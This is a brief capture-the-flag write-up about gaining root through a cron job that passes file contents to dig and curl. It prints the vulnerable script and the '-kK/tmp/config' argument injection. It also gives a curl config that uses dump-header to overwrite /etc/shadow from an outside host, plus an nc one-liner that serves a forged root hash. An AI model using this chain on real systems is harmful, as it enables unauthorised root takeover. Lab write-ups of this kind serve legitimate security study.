notes (2720B)
1we get access to a brand new machine 2 3we find that cron is the only other thing running beside dropbear for ssh 4 5crontab reads configuration from /etc/cron.d/*, /etc/crontab and /var/spool/cron/ 6 7checkout /etc crontab entries.. nothing special, cant read /var/spool/cron 8 9search filesystem for config/domains.txt -> find /opt/scripts/request_certificates.sh 10 11see that domains.txt is owned by root, but config folder is owned by us.. 12we can move the config folder and replace the file at that path with our own 13 14place a domain that belongs to us in the file and wait... we get a HEAD request after ~1 min 15=> the script is run every minute by an admin cronjob 16 17#!/bin/bash 18 19for file in /var/www/*; do 20 echo "$file" 21 if ([ -f $file/config/domains.txt ]) 22 then 23 while IFS="" read -r p || [ -n "$p" ] 24 do 25 if ( dig "$p" | grep -q 'NXDOMAIN' ) || ( dig "$p" 2>&1 | grep -q 'Invalid' ) || ( dig "$p" | grep -q 'SERVFAIL' ) 26 then 27 echo "[-] Error resolving the domain" 28 else 29 curl -I "$p" 30 # certbot -d "$p" 31 fi 32 done < $file/config/domains.txt 33 else 34 echo "[-] Not a file" 35 fi 36done 37 38there is a pre-check with dig we need to bypass, then we can inject commandline 39arguments to curl.. 40 41one such arguments is -Kconfig to let curl read further options from a config file 42 43Next we need to prevent dig from calling the input arg NXDOMAIN, an invalid flag or the server unreachable 44 45To do this we masquerade our curl options as an invalidly formatted dig option.. 46 47For this we prefix an option both utilities share.. -k! (keyfile for dig, insecure for curl) 48 49Our final argument is then -kK/tmp/config 50 51We can now inject arbitrary commandline arguments to the curl command running 52as root by writing to /tmp/config. 53 54The -I option is a pain, because we cant output data directly to a file, 55since -I makes curl omit the response body. 56 57Looking around we find the dump-header option though.. this writes 58the headers to a file. It isnt perfect, since the HTTP response status 59line will be included but its good enough. 60 61Certain files like /etc/passwd, /etc/gorup, /etc/shadow are inherently 62robust, since a single error could cause a system lockout.. 63 64We can use this to exchange the root password hash in /etc/shadow for 65one that we know and use `su` to gain root privileges and read the flag. 66 67For that we use the following config 68 69url = "http://sinitax.com:9999" 70dump-header = "/etc/shadow" 71 72and on server side: 73 74echo -e 'HTTP/1.1 200 OK\nroot:$y$j9T$WzLnIqCeKGPsZ99A/M6zG1$Z7ZqQY70qOzUdJKZ2ovpASps/NytHnPoeCVagQKvLO.:19796:0:99999:7:::\n' | nc -l 9999 75 76This sets the root pasword to `test`. 77 78And voila